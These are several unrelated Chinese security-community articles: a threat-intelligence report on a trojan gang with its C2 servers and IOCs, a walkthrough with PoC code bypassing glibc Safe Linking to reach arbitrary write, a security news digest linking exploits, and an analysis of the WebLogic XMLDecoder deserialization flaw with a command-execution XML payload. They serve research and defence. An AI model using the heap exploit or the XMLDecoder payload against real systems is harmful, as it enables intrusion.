此外，由于这些木马回连C2都指向了一个IP：128.1.163.222
值得一提的是，该类木马回连的C2上一目录的页面显示均为error0，因此可以由此确定C2服务端均为一个框架搭建而成。
基于此，我们对该IP的历史解析域名进行查证后
发现以下域名均会返回上述特征，因此可以确认这些域名均为黑产团伙的注册域名，此外一些域名的注册信息一致。
perineed.com
viqtecher.com
img.88luoli.xyz
crazy998.com
wellerhere.com
tecniqq.com
msf998.com
soniker.com
perineed.com
22luoli.xyz
而其中，一个名为[www.crazy998.com](http://www.crazy998.com)引起了我们的注意。
其首先展示的是一个抽奖页面
在查看页面源代码后，我们发现其会访问腾讯的一个接口。
经过测试发现，在任何浏览器登录过QQ相关的服务，其对应的cookie均会显示在此页面，其中打码处为QQ号。
由于我们并没有攻击者的服务端，因此无法确认攻击者是如何利用该接口进行获取点击者的Cookie，也许其会配合木马使用，由此获取受害者的qq cookie。
除此之外，该站点代码还注释掉了一个QQ群的登录接口代码，同样暂未知用途。
因此建议所有用户在遇到存疑页面务必不要轻易点击，即使具有丰富安全经验人士也有可能因为过度自信而被窃取信息。
此外，由于域名img.88luoli.xyz，最早出现时间为2018年11月11日，这与其他域名均在2019年2月之后第一次出现并绑定IP所处的时间线极为不符合。
因此再次通过奇安信多维度数据关联发现，img.88luoli.xyz
2018/11/11 2018/11/15 128.1.174.219
美国/加利福尼亚州
2018/11/11 2018/11/11 42.51.15.24
中国/河南
可见，这个42.51.15.24河南IP，在11月11日绑定一天后，在15日将其更换为IP 128.1.174.219，并在6月23日更换为最新的ip
128.1.163.222
因此，该河南的IP地址，高度疑似为攻击者的IP地址。
而受害者方面，大多为位于菲律宾的中文使用者。
## 黑客溯源分析
我们从上节中木马回连域名进行分析后，发现有多个域名并没有进行隐私保护处理。
Whois信息如下，我们发现其公司注册名为
银河娱乐卢永利赌场 VIP房，而永利澳門（Wynn Macao）是一座位於澳門新口岸仙德麗街的賭場度假村，从下图中所填省份填的为澳门。
我们认为填写的此类信息的举动仅为了混淆视听，嫁祸于博彩网站。
紧接着，通过对该QQ进行查询，可以确认该团伙会通过各种渠道进行宣传。
根据多维度数据显示，样本通常使用QQ进行投放，这也印证了该团伙在各种论坛进行钓鱼活动。
可见下面这条帖子最符合一开始的攻击场景，作为精准资源关键字进行诱饵制作并投放。
从外网信息来看，该QQ号为购买所得。
可见伪装成一家专门做大数据的整合营销服务商。
紧接着，我们通过一些手段，确认了该黑产团伙，除了做引流，群发等生意，还通过远程控制他人电脑的不法手段获取用户信息数据从而进行售卖。
目标确实为柬埔寨的进行博彩行为的人，从而获取他们的个人信息，紧接着进行售卖，从而获取利润。
在后续的对话中，此人将测试木马一同发布给我们，一共两种木马，售价均为2500+永久更新。
而其中名为新大道的样本就是一开始利用Teamviewer的木马。
而该样本的回连C2正是IP：128.1.163.222
同样第二个名为扣扣邮必达的样本，使用易语言编写。
其家族名为flystudio，一个专门窃取信息和Cookie的银行木马，其内置链接中同样为该IP地址。
因此可以证明此QQ，即为攻击者团伙的一名专门对外进行销售行为的成员。
而经过另外一些手段，我们发现该团伙不仅出售这类菠菜用户数据，而且还会使用appleid进行推送。
也就是平常这些关于赌场的日历推送，相信很多人都接收过。
紧接着，他为了更好的销售他的木马，因此还展示了他们的木马C2后台图片。
从后台的格式可知，这正是第一个木马对应回连信息，包括teamviewer ID，连接密码。
细心的同学应该看见了，这名攻击者无意中暴露了他的访问URL
其中VIP字段的意义也许能够就此揭开谜底。
因此，我们将木马中的vip的值放于字段，并进行访问，如下图所示。
[http://128.1.163.222/proponent/Philips.php?&vip=VPDJGBGB9VDHFGVHGADE9JGFVPV9FGJBHFWFFJJ9GFDJGVEGJF9HDXJGVAHG9VHFGVHGADE9JGFJGJGBHJG9AGJXJGAJG9HFJAE](http://128.1.163.222/proponent/Philips.php?&vip=VPDJGBGB9VDHFGVHGADE9JGFVPV9FGJBHFWFFJJ9GFDJGVEGJF9HDXJGVAHG9VHFGVHGADE9JGFJGJGBHJG9AGJXJGAJG9HFJAE)
而此时的返回的居然显示，因仅是试用客户，后台地址已被封锁。
显然，他图片上的VIP值为最高权限值，而我们的值仅为试用权限，因此可以大胆猜想，攻击者可能会通过兜售该VIP值，从而让买家直接控制肉鸡电脑进行操作。
而后，他再次展示了另一种木马的功能，可以获取QQ好友以及对应IP。
并展示了进入QQ邮箱的手段，这个很有可能是前面提到的获取存在浏览器的QQ 邮箱的cookie并通过发送钓鱼链接进行获取。
除了这名团伙成员外，我们通过多维度数据关联，锁定了一名疑似为该团伙进行木马制作的成员
并且，该QQ同样在一个名为易语言行业交流群中，这与其后来制作的易语言木马的踪迹一致。
最后，值得一提的是，统称市面上所称的精准资源，大多意思指的便是潜在客户资料，当然推送信息到这类客户身上只为了继续榨干他们的钱财罢了。
## 总结
最后，我们简单对狗推组织进行黑客画像。
1. 其针对目标大部分为涉黑从业人员；
2. 组织分为两伙人，一伙进行用户信息售卖的业务宣传，一伙负责投放木；
3. 对黑市文化异常了解，经验十；
4. 攻击手段狡猾，异常了解涉黑从业人员的性格和心理，这从攻击诱饵的命名方式来看体现的淋漓尽致；
5. 既售卖木马，又投放木马，攻击菠菜等相关涉黑从业人员的电脑，并会将获取的数据再贩卖给他们，具有典型的“黑吃黑”团伙属性。
奇安信威胁情报中心红雨滴团队在跟踪该团伙的过程中，发现有一些不是相关从业人员的电脑同样遭受了控制，因此表明该团伙并不单单是针对涉黑从业人员。
基于此，我们负责任的披露了该组织的活动，希冀各位谨记，切勿点击来路不明的文件，接受极具诱惑性语言的压缩包。
目前，奇安信集团全线产品可以对该组织所有活动进行检测。
## IOC
### 诱饵文件
35e152046cb874d6f09e933036335db9
67312d5d21c149ade1e3365aff60f7c2
### 恶意软件
290272aea423f5cc3d4192d6e67281f3
7be15765d752c3398e59484c0078c743
39a09109fd9d53a8b2c124bac53cec9e
78f25d8861572b29e183c3fa48cb6d34
1ce4ff83715ca73028064436beb01a78
9a4da73a8f9fa626b8c46c540ee843f7
0808a3b67d87007f169063ad228346b0
a362ee3189904e5a4dbcdcf4f9932d0f
eaae507c1dc2967ccde790552ede1d6d
e7a148ca37e99175ea93d8df7323f876
b45aaee1c4da525a3701e9cbcb3cabed
b25ba85e980e18a8d6161bb2211c8a9c
994cfc4623a4fb87cbce5a7d62fb3da5
7348b54368cd92e53c64a1dd89da6afa
8f8ea42254cda3709d82b4f5b25da8f8
b8ad2cb9f226126476f5b86913b4f678
510e4385de6694e23426600ee82a1cd2
### URL
<http://www.wellerhere.com/Niko/>
<http://www.saidu360.com/gn861/guangao38db33d940/>
http://www.saidu360.com/an300/a279u2638db33h188/
<http://www.qqchum.com/Niko/>
<http://www.taidu360.com/an300/a279u2638db33h188/>
<http://www.saidu360.com/xv900/b379h2638db83h191/>
<http://www.tecniqq.com/Net/>
http://www.viqtecher.com/Nec/
### 域名
perineed.com
viqtecher.com
img.88luoli.xyz
crazy998.com
wellerhere.com
tecniqq.com
msf998.com
soniker.com
perineed.com
22luoli.xyz
saidu360.com
taidu360.com
### ip
42.51.15.24
128.1.174.219
128.1.163.222 | 社区文章 |
# 绕过Safe Linking机制
##### 译文声明
本文是翻译文章，文章原作者 researchinnovations，文章来源：researchinnovations.com
原文地址：<https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2020年5月21日，Check Point Research 发表了一篇关于将“Safe Linking”缓解措施集成到glibc
2.32的文章（[译文地址](https://www.anquanke.com/post/id/206457)），预计今年8月发布。主要思路是，将堆中的单链表（tcache和fastbin）的fd指针与存储该指针的地址的随机ASLR位进行XOR运算。这意味着，攻击者无法再通过使用任意值覆盖chunk的fd指针从而malloc获取任意地址。但这为任意读写提供了一种方法，可以导致任意的代码执行。
Safe Linking
承认的是某些类型的堆泄漏可能会允许攻击者绕过它。我们创建了一个64位的PoC，表明如果攻击者对堆对象的生命周期有足够的控制权，则一个堆溢出漏洞就可以绕过Safe
Linking。这篇文章将详细介绍Poc,包括使用堆基地作为随机掩码（XOR）值的局限性演示。
## Glibc和Safe Linking简介
为了方便理解本文，需要Safe Linking缓解机制和glibc结构有一定的背景知识了解。
### Tcache
tcache是在glibc
2.26中引入的。它是每个线程的结构，包含几个bin，每个bin都是后进先出（LIFO）,单链表最多保存7个特定bin大小的空闲块。最大bin大小为0x408。它是满足分配请求的第一个源，也是存放新释放chunk的第一个目的地。
### Unsorted Bin
当tcache存储满了时， unsorted bin将保存新释放的块。如果释放了两个相邻的内存块，unsorted bin将把它们合并成一个large
bin并保留下来。虽然unsorted bin还有其他细节值得关注，可用于其他利用技术，但在这个PoC中，我们仅使用unsorted
bin来实现这个合并特性。
### malloc_chunk
这个结构表示malloc返回的内存块，并包含以后释放该块所需的数据。这些字段大多数只有在块空闲时才有意义，否则它们将保存用户数据。
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; // Size of previous chunk (if free).
INTERNAL_SIZE_T mchunk_size; // Size in bytes, including overhead.
struct malloc_chunk* fd; // double links -- used only if free.
struct malloc_chunk* bk;
// Only used for large blocks: pointer to next larger size.
struct malloc_chunk* fd_nextsize; // double links -- used only if free.
struct malloc_chunk* bk_nextsize;
};
glibc malloc.c源代码需要了解的是：
1. 1.mchunk_prev_size与上一个块中的用户数据的最后八个字节重叠
2. 2.因为tcache是单链表，所以它仅使用fd指针
3. 3.fd字段重叠了用户数据的前8个字节，即malloc返回地址的第一个字节
4. 4.释放和合并进行完整性检查，以确认所使用的值未破坏。这些需要额外的步骤来绕过，我们将在后面解释。
### Safe Linking
P表示将保存在空闲块的fd字段中的指针值。L表示fd字段本身的地址。`L>>12`是L的右移值，用于对P进行异或运算，从而产生一个编码指针`P'`。Safe
Linking 将这个`P'`值存储在fd字段中。
## 原始掩码猜测
在查看Check Point Research文章中图6示例时，我们注意到红色字节并不完全准确。
在`P'`中，我们看到0xBA9都是与0异或，这是由于`PAGE_SHIFT`的位移(这里是12)。另外，我们知道P中的0x87将与0xBA进行异或。因此，我们可以“取消”`P'`中0x3D的掩码，方法是用0xBA再次对其进行异或运算，以检索P’中的原始字节0x87。因此，如果P和L的起始字节与图中突出显示的相同，则`P'`中唯一真正随机且不可预测的是0xBA93DFD35753。
然而，这可以采取进一步的措施。只要P和L具有相同的半字节，我们就可以重复地对后续的半字节对应用移位和XOR操作来恢复原始值。实上，当P和L在同一个内存页上时（如上图所示），我们可以对其中的大部分进行解码，这样我们就可以完全从泄漏的`P'`中恢复`L>>12`的值！malloc和free调用顺序的局限性，加上tcache块必须小于0x408字节，使得L和P可能位于同一页。PoC包含一个演示，可在此假设下解码任何给定的`P'`。
需要知道的是，缓冲区溢出与堆泄漏相结合足以破坏Safe
Linking。因为泄漏P’可能比泄漏L容易，因为P’与从malloc返回给用户的缓冲区的前8个字节重叠，所以从`P'`得到`L >>
12`值的关注。但是，如果我们只有一个堆缓冲区溢出漏洞，该怎么办？
## 绕过只有缓冲区溢出的Safe Linking
通过控制对象的分配/释放以及读/写这些对象中的字段，可以通过一个堆缓冲区溢出绕过Safe
Linking。从2020年5月21日开始对glibc的主分支进行测试(commit
76d5b2f002a1243ddba06bd646249553353f4322)，它也适用于glibc
2.31，因为`L>>12`掩码将是0，因为没有PROTECT_PTR宏。
通常的目标是利用缓冲区溢出来覆盖chunk,这允许我们保留指向同一chunk的两个指针。虽然我们将使用此方法通过UAF和double-free
来读/写`P'`，但需要注意的是，原始程序不包含UAF或double-free，我们没有利用缓冲区溢出之外的第二个漏洞。不过，我们将触发两次缓冲区溢出以绕过一个不同的glibc缓解措施。
## 步骤1 – 分配chunk A、B、C、D并填充tcache bin
回顾一下，tcache有几个bin，每个bin最多可以保存七个相同大小的chunk。我们需要用free
chunk来填充它。我们还需要四个连续的chunk(A、B、C和D),我们将使用它们来处理缓冲区溢出，并将它们合并到unsorted bin中。
// Allocate enough chunks that, when freed, will fill tcache bin
// Size needs to be large enough that freed chunks will go into
// unsorted bin after tcache is ful
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
// Allocate a, b, c, and d into contiguous memory. The plans are:
// - a will be used for a buffer overflow into b, to overcome
// the "corrupted size vs. previous size while
// consolidating" mitigation
// - b will be freed legitimately into unsorted bin, and
// eventually consolidated
// - c will become an overlapping chunk and leveraged into
// a coerced UAF
// - d will be corrupted by a legit buffer overflow, freed
// into unsorted list, and consolidated with chunks c and d
char *a = malloc(0x98);
char *b = malloc(0x98);
char *c = malloc(0x98);
char *d = malloc(0xb8);
// Fill up the tcache bin
for( int i = 0; i < 7; i++) {
free(tcache_allocs[i]);
tcache_allocs[i] = 0;
## 步骤2 – 将B free 到 unsorted 中
现在，我们的tcache bin是空闲的，后续释放的这个大小将进入unsorted bin中。这很重要，因为在添加到unsorted
bin时，相邻的free malloc_chunks会被合并。
// Release B into unsorted bin
free(b);
b = NULL;
## 步骤3 – 触发缓冲区溢出从C覆盖D，并创建fake chunk
我们模拟了一个缓冲区溢出漏洞，它覆盖了超过C的一个字节，并破坏了D的mchunk_size：
0xc1 (size 0xc0 and PREV_INUSE flag set)
to:
0xa0 (size 0xa0 and PREV_INUSE cleared)
payload还将D的mchunk_prev_size字段覆盖为0x140，该字段将包含chunk B、C和D。
通过改变大小，我们还需要在D中的偏移量0x98处创建fake chunk 数据，以通过堆一致性检查。
// Simulate a buffer overflow (only over by 1 byte)
memcpy(c, payload, 0x99);
// Create a fake chunk in D, because it will be checked
// for consistency (PREV_INUSE must be set)
// 0x21 + new corrupt size (0xa0) == 0xc0, the original size
d[0x98] = 'x21';
## 步骤4 – 再次触发缓冲区溢出 A 覆盖 B
glibc
2.29中引入了向后合并检查，如果D的mchunk_prev_size与示例中的B的大小不匹配，则该检查将中止。为了绕过这个，我们需要破坏B的大小。由于A和C的大小相同，这类似于在相同类型的对象上使用相同的缓冲区溢出两次，而不是在不同大小的对象上使用两个单独的溢出。
// Buffer overflow from A into B, to corrupt its size so it
// will match d's corrupted prev_size
memcpy(a, payload2, 0x9a);
## 步骤5 – 将B，C和D合并为unsorted中的一个chunk
我们现在能够触发D上的free，它将与已损坏且已释放的chunk D合并，并覆盖仍要分配的chunk c。
// Free D, causing it to be consolidated into one big chunk,
// still in the unsorted bin
free(d);
d = NULL;
## 步骤6 – 使用重叠chunk制造一个UAF场景
glibc的first-fit算法将满足malloc请求，方法是将unsorted bin中的一个 large chunk
分割成两部分，返回一个与请求大小一致的chunk，并保留剩余空间的chunk来满足malloc请求。我们利用这个在C上创建重叠的chunk，使我们两个指针同时指向同一个chunk。
注意:与这个UAF场景不同，可以在malloc返回一个用户缓冲区的场景中获得P’，但是前8个字节没有初始化。这是一个非常罕见的场景，可以被认为是一个单独的信息泄露漏洞。
### 步骤 6a – 清空tcache
首先，在malloc请求被unsorted bin服务之前，我们必须清空tcache。
// Allocate all of the tcache chunks to empty it out
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
### 步骤 6b – 再次分配B以分割合并chunk
现在，利用first-fit操作取出chunk B，将合并的chunk C和D保留在unsorted bin中。
// Now, when we request again for the original size of B, it
// splits the unsorted bin entry
char *junk = malloc(0x98);
### 步骤 6c – 分配C2，给我们重叠的chunk
再次利用first-fit操作，在与C相同的位置和大小获取另一个chunk。我们将此称为C2。unsorted bin中仍将有空闲的chunk
D。因为我们原来的C指针从来没有被释放过，我们现在有两个指针指向同一个位置，允许我们释放一个指针，然后用另一个在块中读/写！
// Request another chunk same size as original C, now we
// have two pointers to C!
char *c2 = malloc(0x98);
## 步骤 7 – 泄漏 L >> 12 掩码并准备掩码指针
现在有了C和C2，我们就可以泄露P’了，这是一个经过编码的指针，Safe Linking
可以在空闲块的fd字段中写入。然后我们可以推出L，并使用它来编码任何我们想要的值，并存储在C->fd。
注意:记住，这个L值是特定于这个块的，如果在不同的页/堆上使用，它不会通过正确的检查。
### 步骤 7a — 将C2释放到空的tcache bin中
首先，我们释放C2，它进入空的tcache bin。
// Free c2, which is moved into the now-open tcache bin
free(c2);
c2 = NULL;
### 步骤7b – 使用原始C指针读取 L >> 12
我们现在可以通过读取c中的前8个字节来读取C2->fd，这是经过编码的P’值。
但C2是tcache中唯一的块，所以P为NULL。这意味着编码指针是：
P' == L >> 12 ^ P == L >> 12 ^ 0 == L >> 12
我们不需要泄漏地址L。我们可以使用L>>12来编码这个块的指针！
// Read the P' value in the fd pointer location using original C
// Except, it already contains L >> 12! Since it was
// the only chunk in the tcache bin, it protected a NULL
// ptr which wrote the unmodified mask.
uint64_t L12 = *(int64_t *)c;
### 步骤7c – 编码我们的任意指针
只需用任意地址对泄漏的L12进行XOR，就可以获得一个有效的编码指针。
注意:这并不是任意的。它仍然需要与16字节边界对齐，才能通过tcache_get（）中的对齐检查。但是，由于我们分配了一个足够大的缓冲区，可以使其位于unsorted
bin中，我们可以向下取整到最接近的0x10边界，并在该缓冲区的某个偏移量处执行后续读/写操作，以达到目标地址。
// Now mask the arbitrary address we want to write to
uint64_t masked_ptr = L12 ^ (uint64_t) &arbitrary_variable;
## 步骤8 – 设置一个有效的tcache链，然后用掩码指针破坏它
tcache结构不仅包含可用chunk的链表（tcache->
entries），而且还具有一个并行数组，用于保存每个bin的当前长度（tcache->counts）。虽然我们现在可以覆盖C2->
fd，但是我们写入的值不会作为malloc块返回，因为tcache->counts表示tcache中仅存在C2块。为了获得有效的计数，我们必须向bin中添加一个额外的块。
### 步骤8a – 再次分配以从tcache中移除C2
存在Double-free缓解措施，可以防止同一tcache
bin两次插入同一chunk。我们分配另一个变量，从tcache中删除C2。我们称其为C3，因此我们保留两个指向同一块（C和C3）的活动指针。
// Allocate to get that copy-of-C chunk out of the tcache.
// we need to make the tcache count valid, so we need to put some
// chunk back in the tcache first, then put a copy of our C chunk
// in it with fd set appropriately (since tcache is LIFO)
uint64_t *c3 = malloc(0x98);
### 步骤8b – 释放先前分配的七个指针中的一个，以便tcache有一项
// Can't just add a fd ptr to a chunk and then have it be
// used if count is 0. So, here we add a chunk to the
// tcache list. Doesn't matter which one.
free(tcache_allocs[0]);
tcache_allocs[0] = NULL;
### 步骤8c – 释放C3，使其fd指向步骤8b中的chunk
因为tcache是后进先出的，所以释放C3会将其插入列表的头部，并将C3->fd设置为释放的tcache_allocs[0]的地址。
// NOW put the copy-of-C chunk back into the tcache
free(c3);
c3 = NULL;
## 步骤9 – 使用C指针覆盖C3->fd与我们的掩码指针
我们通过C指针来执行C3->fd的覆盖，该指针在程序的整个生命周期中都保持分配状态。
// Now we write the pointer into the fd of the tcache'd chunk
// we still have access to.
*(uint64_t *) c = masked_ptr;
## 步骤10 – 移除C3以获取任意地址
我们只需要做一个分配操作来移除刚刚添加到tcache的C3块，然后，之后的分配将返回我们的任意地址。
// malloc to take that chunk out. should still be a copy of C
char *junk2 = malloc(0x98);
// Finally, malloc again to get our arbitrary address
uint64_t *winner = malloc(0x98);
## 步骤11 – VictoRII!
我们现在可以执行任意读/写，如果您需要在步骤7c中向下取整的地址，则需要在某个winner[offset]处写入。
// And write something arbitrary!
*winner = 0x112233445566;
## PoC示例
下面是源代码的输出示例。下面的PoC演示了P’解码，以及使用一个堆缓冲区溢出漏洞绕过Safe
Linking。它以how2heap格式显示，并在此过程中打印出类似教程的描述性信息。该PoC还使用未对齐的任意地址，证明了在上面的步骤7c中提出的思路。因此，与上面的代码相比，它包含了一些更细节的东西。
### Decoder Example
Enter hexadecimal P' value (without leading 0x): ba93dfd35753
The L >> 12 value for P' "ba93dfd35753" is ba9876543
### Bypass Example
Safe Linking bypass using only a 2-byte heap buffer overflow
Arbitrary variable address is 0x7f851d406018 and its value is 0x11111111
Allocating 7 items to fill the tcache when they are eventually freed...
Allocating 4 contiguous allocations (chunks A, B, C, D) to use for buffer overflows and overlapping chunks...
Freeing the 7 items so tcache is full...
Freeing B (0x7f851d6affc0) into unsorted bin, since tcache is full.
Now simulating a buffer overflow vulnerability
We will overflow from C (malloc(0x98)) into D (malloc(0xb8))
We are only overflowing 2 bytes, writing a custom size into D (shorter than orig size).
We are also overwriting the prev_size field to 0x140 so it will attempt to consolidate B, C, and D.
Since chunkD is a usable buffer that we still have a pointer to, we create a fake chunk inside it.
This is at the offset matching the custom size we just wrote.
The 0x21 we write here represents a fake next chunk's size field, and satisfies two conditions:
- ends in 0x1 (setting PREV_IN_USE), and
- when added to the custom size we overwrote, actually lands on the legit next chunk after chunkD
Now, we have to trigger a second buffer overflow. This will be used to bypass some security checks
performed when consolidating backwards. We must overwrite the original size of chunk B to match what
chunk D is saying it is.
Freeing chunk D (0x7f851d6b0100), causing it to consolidate everything from B, over C, and including up to
the fake chunk boundary inside D.
Our tcache for this bin size is full, so allocating 7 more items to empty it...
The next allocation will be carved out from the consolidated chunk (B, C, and fake DD) in unsorted bin.
This new ptr should match chunk B above: 0x7f851d6affc0
By asking for another chunk of the same size as C we get...
Two pointers to the same chunk! We have our original C, and this new C2.
Chunk C is at 0x7f851d6b0060 and chunk C2 is at 0x7f851d6b0060
We are going to free one of those pointers (C2) which will put it in the emptied tcache bin.
PROTECT_PTR() is going to protect this chunk's fd ptr... which is NULL.
Meaning it will do the L>>12 calculation, and XOR it with 0, writing L>>12 unmodified...
Which we can recover using our original C pointer
L >> 12 for chunk C is 0x7f851d6b0
Now we can use that to mask any arbitrary address we want (well, sort of, it does need to pass an alignment check),
but since we'll be allocating a relatively large buffer (0x98), we can just round it down and then write at
the necessary offset to get a truly arbitrary write-what-where
Masked arbitrary variable address is 0x7f82e511b6a0
We need to put a legitimate chunk back in the tcache, so that our freed chunk can have its fd ptr overwritten.
BUT we need to take out the C2 that we just freed into the tcache or else we'll trigger a double-free security
check trying to put two copies of C in the tcache bin at the same time.
Now we have a C3 ptr (0x7f851d6b0060).
Free one of the 7 tcache allocs we used to empty the tcache earlier...
And put C3 back onto the tcache bin, and due to LIFO, C3->fd will point to a legitimate chunk.
Since we still have the original C ptr, we can now write the masked ptr to offset 0 of C and overwrite the
fd ptr of the freed C3 in the tcache.
Malloc once to remove the C3 out of the LIFO...
And finally malloc one more time to get access to our arbitrary address.
This winning chunk is located at 0x7f851d406010 and we can write anything we want here...
Arbitrary variable now contains 0x112233445566
## 总结
Safe Linking
机制确实通过tcache中的单链表提高了堆利用的标准。以前，对堆布局的有限控制足以破坏fd指针并实现任意读/写，我们看到这个PoC需要对对象的生存周期进行详细控制，并能够将块A、B、C和D连续地放在内存中。除此之外，我们还需要能够在这些chunk中以不同的偏移量进行读写。
Safe
Linking可以通过一个单独的堆泄漏功能来绕过，这是一个已知且可接受的限制。然而，我们演示了在真实的情况下，只需一个小的缓冲区溢出（两个非空字节）就可以绕过Safe
Linking机制，获得任意的读/写原语。
PoC的[源代码](https://e28b174e-d342-4a10-972e-a985c56398b8.usrfiles.com/ugd/e28b17_669515e9578e4196add11802ed1d8984.txt)。 | 社区文章 |
# 1月2日安全热点 – 绕过CoinHive抽成挖矿/Huawei HG532漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
openload.co等网站绕过CoinHive使用客户端浏览器算力挖取门罗币
（从2017年12月24日，我们注意到一组网站正在滥用客户终端浏览器的算力在挖矿。攻击者在利用了 CoinHive 的浏览器端挖矿代码基础上，完全绕过
CoinHive 自己运营，避开了 CoinHive 的抽成费用。）
<https://www.anquanke.com/post/id/93049>
WannaCry的作者是Lurk犯罪团伙成员？
（在一次与Dozhd TV频道的采访中，Lurk犯罪团伙的一个成员承认他是WannaCry的作者之一。
此前Lurk犯罪团伙因开发维护了臭名昭著的Angler Exploit Kit而知名。）
<http://securityaffairs.co/wordpress/67262/cyber-crime/wannacry-lurk-group.html>
基于IOHIDFamily 0day的macOS kernel exploit
<https://siguza.github.io/IOHIDeous/>
CVE-2017-17692: 三星安卓内置浏览器<=5.4.02.3同源策略绕过漏洞
<https://thehackernews.com/2017/12/same-origin-policy-bypass.html>
Write-up: <https://datarift.blogspot.in/p/samsung-interent-browser-sop-bypass-cve.html>
演示：<https://www.youtube.com/watch?v=lpkbogxJXnw>
已集成到metasploit
<https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/samsung_browser_sop_bypass.rb>
华为路由器的0 day利用代码已公开
<https://threatpost.com/code-used-in-zero-day-huawei-router-attack-made-public/129260/>
<https://pastebin.com/4nzunPB5>
华为的安全公告
<http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en>
## 知识类
Huawei HG532 系列路由器远程命令执行漏洞分析
<https://paper.seebug.org/490/>
KRACK作者在BlackHat Europe2017上演讲关于该WPA2漏洞的细节
<https://www.youtube.com/watch?v=fZ1R9RliM1w>
VulnWhisperer：漏洞数据报告整合，数据可被ElasticSearch索引
<https://github.com/austin-taylor/VulnWhisperer>
Cambium ePMP1000命令执行的ping Shell
<https://cxsecurity.com/issue/WLB-2018010001>
Janus高危漏洞深度分析
<http://www.freebuf.com/articles/paper/158133.html>
渗透测试框架Fsociety Hacking Tools Pack
<https://github.com/Manisso/fsociety> | 社区文章 |
虽说weblogic xmldecoder的洞是几年前的，但是之前内外网场景下老是遇到，大多数情况是
**不出网、不方便写webshell(weblogic负载均衡，轮询)** 场景，需要解决的问题就是 **回显构造和内存马的植入**
。所以想花个时间来总结一下。
而说到回显、内存马植入的文章网上越来越多，看了文章都知道有哪些方法，比如回显问题大多数都知道有找request、URLClassloader报错、rmi调用那些，一说内存马都知道servlet、filter、listener马，都知道怎么去写个Demo。
但是实际结合到场景去做总是会遇到一些问题，所以自己想着还是多动手实践，毕竟 **talk is cheap** 。
**个人水平较差、文中错误内容还请师傅们指教纠正。**
##
##
##
# 0x01 weblogic xmldecoder 反序列化漏洞
debug 环境搭建:
修改 domain 的 bin 目录下面的 startWebLogic.cmd 文件，在前边部分加上以下行：
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE
-Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
之后就是常规添加libraries和weblogic服务器就不截图了，写个filter断点测试下:
涉及CVE:
* CVE-2017-3506
* CVE-2017-10271
* CVE-2019-2725
三个CVE都是对最初漏洞的不停绕过，`CVE-2017-3506`修补方案为禁用 `object`
标签，CVE-2019-2725，由于组件_async存在反序列化。
原理简单说就是WLS
Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞
##
##
## CVE-2017-10271 简单流程
这个洞网上很多过程文章，不贴过程了
##
简单跟一下,
处理是在`readHeaderOld`方法，进入到`weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld`后ByteArrayOutputStream
bao为实际传入获内存缓冲区的数据，转换成字节数组，在使用`WorkContextXmlInputAdapter`时又把字节数组用`ByteArrayInputStream`转化为输入流，最后转成XmlDecoder对象
最后跟到readUTF函数中调用readObject( )方法进行反序列化操作，代码执行。
##
### payload中的xmlencoder 标签
文档:[XMLEncoder (Java SE 9 & JDK 9 )
(oracle.com)](https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html)
因为这三个cve都是针对前面的绕过
CVE-2017-10271是通过`void`、`new`标签对CVE-2017-3506补丁的绕过。标签这里也不贴那么多了，可以看已有的文章对标签的解释：
* <https://xz.aliyun.com/t/7944>
* <https://xz.aliyun.com/t/8039>
最早poc使用object 标签来表示对象:
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
一些payload中常用的标签：
object或void标签用于初始化对象，属性class的值是初始化对象所属的类
<object class="java.io.xxx"> </object>
函数调用使用void 标签，属性method的值是调用的方法
a.fun1("haha").fun2()
<void method="fun1">
<string>haha</string>
<void method="fun2"></void>
</void>
#如果func1、func2是a.func1;a.func2这种只需要把 <void method="fun2"></void>写在第一对void标签外即可，表平行的关系。
id或者idref标签是进行标记，和引用标记的
<void property="attr" id="attr_id"></void> #对属性进行了id标记
<void method="func1"><object idref="className"></object></void>#引用了id为className的对象
##
### 为啥可以使用`void,new`标签替换？
XMLDecoder对每种支持的标签都实现了一个继承了`ElementHandler`的类，在`DocumentHandler`的构造函数中就可以看到，写个XMLDecode测试，跟进XMLDecoder的readObject函数，随后跟入parsingComplete函数，再到parse函数，最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers参数包含了所有元素对应的解析器：
而在绕过中可以使用`void,new`标签替换即可，能等效替换的原因是处理`void、new`的标签`NewElementHandler、ObjectElementHandler`最后都是调用`newelementhandler`的`addAttribute`方法获得类：
具体xmldecoder解密流程可以参加这篇师傅的文章，<https://xz.aliyun.com/t/5069，有兴趣可以再调一下，这里不贴了。>
##
##
# 0x02 Weblogic xmldecoder反序列命令回显构造
这个部分我把如何找回显和构造通用回显(找上下文)的过程贴详细在这里，可能啰嗦，但是理解后，可以把通用回显和打入通用内存马的payload都构造出来，因为都会用到上下文的部分。
#
**测试环境为 10版本: 10.3.6 12版本 12.1.3**
##
**后面说的"通用"回显只是这两个大版本，附近版本基本都适用，但是不是所有版本，比如12.2.1.4之后就不能用xx类来构造，这个就未测试了，请勿杠.**
##
通用的获得回显的思路就是获取当前web上下文对象，比如request和response来设置传入和响应的内容，有的中间件一般存储在当前线程对象中，又或者存储在静态变量或者特定类里。获取的流程大致是从web中获取当前上下文对象（response、context、writer等）然后拿到回显，而在weblogic中的`ServletResponse`类，其中的`getWriter`和`getOutputStream`方法可以进行输出回显。
##
## weblogic 输入接受类ServletRequestImpl
`weblogic.servlet.internal.ServletRequestImpl`提供了接收参数、请求头等输入方式的函数：
